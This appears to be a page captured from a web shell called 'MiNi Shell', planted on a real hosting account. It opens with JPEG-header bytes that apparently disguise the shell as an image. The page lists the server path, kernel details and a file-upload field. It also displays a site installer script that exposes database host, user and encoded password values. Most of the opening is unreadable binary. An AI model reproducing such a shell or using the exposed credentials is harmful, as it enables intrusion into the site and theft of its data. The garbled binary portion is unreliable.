JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /hermes/sb_web/sb_web/b2651/andrewopala.me/

Linux boscustweb5002.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : /hermes/sb_web/sb_web/b2651/andrewopala.me/ss_905807_Zjqi_install.php

<?php error_reporting(0);
header('Content-type: text/html');
@ini_set('magic_quotes_runtime', 0);
$optArray = unserialize('a:8:{s:11:"ss_order_id";s:4:"Zjqi";s:10:"ss_docroot";s:72:"L2hlcm1lcy9ib3N3ZWIvd2ViMjU3L2IyNTc3L25mLmFuZHJld29wYWxhL3B1YmxpY19odG1s";s:12:"ss_full_path";s:96:"L2hlcm1lcy9ib3N3ZWIvd2ViMjU3L2IyNTc3L25mLmFuZHJld29wYWxhL3B1YmxpY19odG1sL2FuZHJld29wYWxhX2NvbQ==";s:8:"filename";s:20:"wordpress-aw2phv.tgz";s:11:"data_exists";i:1;s:18:"sample_data_exists";i:0;s:13:"ss_install_in";s:40:"Li4vcHVibGljX2h0bWwvYW5kcmV3b3BhbGFfY29t";s:11:"ss_filename";s:20:"wordpress-aw2phv.tgz";}');
$dbArray = unserialize('a:5:{s:9:"ss_dbhost";s:29:"andrewopala.netfirmsmysql.com";s:9:"ss_dbuser";s:16:"adminandrewopala";s:9:"ss_dbpass";s:16:"WHN3MkBDZGUzIw==";s:9:"ss_dbname";s:18:"wp_blogandrewopala";s:11:"ss_dbprefix";s:6:"wp351_";}');
$chmodArray = unserialize('a:0:{}');
$cronArray = unserialize('a:0:{}');
$symlinkArray = unserialize('a:0:{}');
$dbtablesArray = unserialize('a:11:{i:0;s:17:"wp351_commentmeta";i:1;s:14:"wp351_comments";i:2;s:11:"wp351_links";i:3;s:13:"wp351_options";i:4;s:14:"wp351_postmeta";i:5;s:11:"wp351_posts";i:6;s:24:"wp351_term_relationships";i:7;s:19:"wp351_term_taxonomy";i:8;s:11:"wp351_terms";i:9;s:14:"wp351_usermeta";i:10;s:11:"wp351_users";}');
@ini_set("memory_limit", "32M"); $passthru = ((function_exists('passthru') && strtolower(PHP_OS) != 'winnt') ? true : false); foreach (array('ss_install_in', 'ss_docroot', 'ss_full_path') as $dec) { if (array_key_exists($dec, $optArray)) { $optArray[$dec] = base64_decode($optArray[$dec]); } } $newDir = rtrim($optArray['ss_full_path'], '/ '); @chdir('.'); if (getcwd() != $newDir && false === empty($newDir)) { @chdir($newDir) or die('<ss>status:195|dump:Failed change to dir "'.$newDir.'". We\'re in "'.getcwd().'"</ss>'); } switch ($_GET['s']) { default: case '1': $table_check = _checktables($dbArray, $dbtablesArray); if (false === empty($table_check)) { $status = $table_check['status']; unset($table_check['status']); die('<ss>status:'.$status.'|debug:'.implode(", ",$table_check).'</ss>'); } if (false === file_exists($optArray['ss_filename'])) { die('<ss>status:260|dump:'.$optArray['ss_filename'].' was not uploaded properly. '.var_export($optArray, true).'</ss>'); } $compress = array_pop(explode('.', $optArray['ss_filename'])); if ($compress == 'tgz' || $compress == 'gz') { if ($passthru) { ob_start(); passthru('tar --no-same-owner -xzf '.$optArray['ss_filename'].' 2>/dev/null'); ob_end_clean(); ob_start(); passthru('tar -tzf '.$optArray['ss_filename'].' 2>/dev/null'); $list = preg_split("/\n/", ob_get_contents()); ob_end_clean(); } else { $list = _untar($optArray['ss_filename'], 'tgz'); } } elseif ($compress == 'tar') { if ($passthru) { ob_start(); passthru('tar --no-same-owner -xf '.$optArray['ss_filename'].' 2>/dev/null'); ob_end_clean(); ob_start(); passthru('tar -tf '.$optArray['ss_filename'].' 2>/dev/null'); $list = preg_split("/\n/", ob_get_contents()); ob_end_clean(); } else { $list = _untar($optArray['ss_filename'], 'tar'); } } @unlink($optArray['ss_filename']); if (empty($list)) { die('<ss>status:260|dump:Extraction failed. Passthru '.(($passthru) ? 'is' : 'is not').' supported, and permissions '.((is_writable($newDir)) ? 'do' : 'do not').' allow file writing.</ss>'); } $rand = array_rand($list, 3); foreach ($rand as $k) { if (false === is_file($newDir."/".$list[$k]) && false === is_dir($newDir."/".$list[$k])) { die('<ss>status:260|dump:'.$newDir."/".$list[$k].' did not exist after extraction</ss>'); } } if (strtolower(PHP_OS) != 'winnt') { $chmod_lists = array('0755' => array(), '0644' => array()); foreach ($list as $l) { $l = trim($l); if (empty($l)) { continue; } if (is_file($l) && substr($l, -3) != 'php') { if (substr($l, -3) == 'cgi') { $chmod_lists['0755'][] = $l; } else { $chmod_lists['0644'][] = $l; } } elseif (is_dir($l) && false === in_array($l, array('.', '..'))) { $chmod_lists['0755'][] = $l; } else { $chmod_lists['0644'][] = $l; } } ob_start(); foreach ($chmod_lists as $mode => $list) { $cnt = count($list); for ($i=0; $i<=$cnt; $i+=100) { $go = array_slice($list, $i, 100); if ($passthru) { if (false === empty($go)) { passthru("chmod ".$mode." ".implode(" ", $go)); } } else { foreach ($go as $g) { chmod($g, octdec($mode)); } } } } ob_end_clean(); } break; case '2': if (strtolower(PHP_OS) != 'winnt') { foreach ($chmodArray as $filename => $chmod) { if (false === is_numeric($chmod)) { continue; } if ($passthru) { ob_start(); passthru("chmod -R ".$chmod." ".$filename); ob_end_clean(); } else { @chmod($filename, octdec($chmod)); } } } if (is_file($newDir.'/data.sql') && false === empty($optArray['data_exists'])) { $import = _importdb($dbArray, $newDir.'/data.sql'); if (empty($import['dbst'])) { unset($import['dbst']); die('<ss>status:203|dbg:'.serialize($import).'</ss>'); } @unlink($newDir.'/data.sql'); } if (is_file($newDir.'/sample_data.sql') && false === empty($optArray['sample_data_exists'])) { if ($optArray["ss_sample_data"] == "on") { $sample = _importdb($dbArray, $newDir.'/sample_data.sql'); if (empty($sample['dbst'])) { unset($sample['dbst']); die('<ss>status:203|dbg:'.serialize($sample).'</ss>'); } if (false === empty($sample)) { $import = array_merge($import, $sample); } } @unlink($newDir.'/sample_data.sql'); } if (false === empty($cronArray) && $passthru) { foreach ($cronArray as $cron_file => $cron_time) { if ($passthru) { ob_start(); passthru('/usr/bin/crontab -l'); $cron_old = trim(ob_get_contents()); ob_end_clean(); ob_start(); passthru('which php'); $php_path = trim(ob_get_contents()); ob_end_clean(); $cron_new = $cron_old."\n".$cron_time." ".$php_path." -f ".$optArray['ss_full_path']."/".$cron_file." >> /dev/null 2>&1\n"; $cron_fh = fopen('ss_cron.tmp','w'); fwrite($cron_fh,$cron_new); fclose($cron_fh); ob_start(); passthru('/usr/bin/crontab ss_cron.tmp'); ob_end_clean(); @unlink('ss_cron.tmp'); } } } if (false === empty($symlinkArray)) { foreach ($symlinkArray as $link => $file) { if ($passthru) { ob_start(); passthru('ln -s '.$newDir.'/'.$file.' '.$newDir.'/'.$link); ob_end_clean(); } else { symlink($newDir.'/'.$file, $newDir.'/'.$link); } } } if (extension_loaded('ionCube Loader') && false === getenv('PHPRC')) { $docroot = dirname(__FILE__); if ($passthru) { ob_start(); passthru("cd ".$newDir."; find . -type d -print; cd ".$docroot); $dirlist = ob_get_contents(); ob_end_clean(); } $dirs = preg_split("/[\s,]+/", $dirlist); if (false === empty($dirs)) { foreach($dirs as $dir) { if (false === file_exists($newDir.'/'.$dir.'/php.ini')) { @copy($docroot.'/php.ini', $newDir.'/'.$dir.'/php.ini');} } } } if (function_exists('install_snippet')) { install_snippet(); } @unlink(__FILE__); break; } print '<ss>status:200|warn:'.implode(",", $import).'</ss>'; function _importdb($db, $sf) { $dbg = array('dbst' => 1); if (is_file($sf) && extension_loaded('mysql')) { if (false === ($conn = @mysql_connect($db['ss_dbhost'], $db['ss_dbuser'], base64_decode($db['ss_dbpass'])))) { $dbg['dbst'] = 0; $dbg[] = 'Failed Connect'; return $dbg; } if (false === @mysql_select_db($db['ss_dbname'], $conn)) { $dbg['dbst'] = 0; $dbg[] = 'Failed SelectDB'; return $dbg; } else { mysql_query("SET foreign_key_checks = 0"); $q = ''; $fh = fopen($sf, 'r'); if (false === is_resource($fh)) { $dbg['dbst'] = 0; $dbg[] = 'Failed opening '.$sf; return $dbg; } while ($q == '') { $dl = ''; while (!feof($fh) && !preg_match("/; ?$/s", $dl)) { $line = @fgets($fh, 16384); if (preg_match("/^(#|--|\/\*\!)/", $line) && empty($dl)) { continue; } $dl .= trim($line); } if (empty($dl)) { break; } $q .= trim(str_replace(array("\r\n", "\r"), "\n", $dl)); if (empty($q)) { continue; } mysql_query($q, $conn); if (mysql_error()) { if (in_array(mysql_errno(), array(1050, 1142))) { $dbg['dbst'] = 0; $dbg[] = 'Failed creating table '.$q; return $dbg; } if (in_array(mysql_errno(), array(1060, 1061, 1091))) { continue; } else { $dbg[] = 'bad_query['.base64_encode($q."\n".mysql_error()).']'; } } $q = ''; } @fclose($fh); @mysql_close($conn); } } else { $dbg['dbst'] = 0; $dbg[] = $sf.' does not exist, or mysql extension is missing'; return $dbg; } return $dbg; } function _checktables($db, $tables) { $dbg = array(); if (empty($tables)) { return $dbg; } if (false === extension_loaded('mysql')) { $dbg['status'] = 263; $dbg[] = 'MySQL extension is missing'; return $dbg; } if (false === ($conn = @mysql_connect($db['ss_dbhost'], $db['ss_dbuser'], base64_decode($db['ss_dbpass'])))) { $dbg['status'] = 263; $dbg[] = 'Failed Connect'; return $dbg; } if (false === @mysql_select_db($db['ss_dbname'], $conn)) { $dbg['status'] = 263; $dbg[] = 'Failed SelectDB'; return $dbg; } $res = mysql_query("SHOW TABLES LIKE '".$db['ss_dbprefix']."%'", $conn); while(false !== ($row = mysql_fetch_array($res))) { if (in_array($row[0], $tables)) { $dbg['status'] = 262; $dbg[] = $row[0].' already exists'; } } return $dbg; } function _untar($filename, $format, $mode='untar') { $returnValue = array(); $win = (strtolower(PHP_OS) == 'winnt') ? true : false; $listMode = ($mode == "list") ? true:false; $gzip = ($format == 'tgz') ? true:false; if ($gzip) { $ghandle = gzopen($filename, 'r'); $reghandle = fopen($filename.'gzconvert', 'w'); gzseek($ghandle, 0); while ($temp = gzread($ghandle, 1048576)) {fwrite($reghandle, $temp);} fclose($reghandle); gzclose($ghandle); $filename = $filename.'gzconvert'; } $tarfile=@fopen($filename, 'r'); while (!feof($tarfile)) { $readdata=fread($tarfile,512); if (substr($readdata,257,5)=='ustar') { $tfilename=substr($readdata,0,100); $indicator=substr($readdata,156,1); if ($indicator==5) { if (!@mkdir($tfilename)) { $levels = explode("/", $tfilename); $thestring = ""; foreach($levels as $level) { $thestring .= $level . "/"; $st = @mkdir($thestring); } } } } } @fclose($tarfile); $tarfile=@fopen($filename, 'r'); $thetar=fopen($filename,'r'); $longlinkfound = false; while (!feof($tarfile)) { $readdata=fread($tarfile,512); if (substr($readdata,257,5)=='ustar') { $tfilename=substr($readdata,0,100); $permissions=substr($readdata,100,8); $tfilename = trim($tfilename); $indicator=substr($readdata,156,1); if ($indicator==2) { $linklocation = substr($readdata,157,100); } $offset=ftell($tarfile); $filesize=octdec(substr($readdata,124,12)); $directory = ""; } if ((!$listMode) && (substr($readdata,257,5)=='ustar')) { if ($indicator==5) { $returnValue[] = $tfilename; continue; } if ($indicator==2){ $returnValue[] = $tfilename; symlink($linklocation,$tfilename); continue; } if ($longlinkfound) { $tfilename = $longlinkfound; } if ($tfilename == '././@LongLink') { fseek($thetar,$offset); $data=@fread($thetar,$filesize); $longlinkfound = $data; continue; } else if ($longlinkfound) { $longlinkfound = false; } $fh = @fopen($tfilename,'wb'); if (!$fh) { $levels = explode("/", $tfilename); $thestring = ""; foreach($levels as $level) { $thestring .= $level . "/"; @mkdir($thestring); } $fh = @fopen($tfilename,'wb'); } fseek($thetar,$offset); $data=@fread($thetar,$filesize); $st = @fwrite($fh,$data); @fclose($fh); if (false === $win) { @chmod($tfilename,0 . octdec(substr($permissions,3))); } $returnValue[] = $tfilename; } } @fclose($thetar); @fclose($tarfile); if ($gzip){ @unlink($filename);} return $returnValue; } 
function install_snippet() {

$existingHtaccess ='.htaccess';
$wpHtaccess= '.htaccess.ss';
	
if(!file_exists($existingHtaccess))
{
	rename($wpHtaccess,$existingHtaccess);
}

if(file_exists($existingHtaccess))
{
	$wpHtaccessContents = file_get_contents($wpHtaccess);
	 
	if (!$handle = fopen($existingHtaccess, 'a')) {
		echo "Cannot open file ($existingHtaccess)";
		exit;
	}

	if (fwrite($handle, $wpHtaccessContents) === FALSE) {
		echo "Cannot write to file ($existingHtaccess)";
		exit;
	}

	fclose($handle);
	unlink($wpHtaccess);
}

}
?>

Creat By MiNi SheLL
Email: devilkiller@gmail.com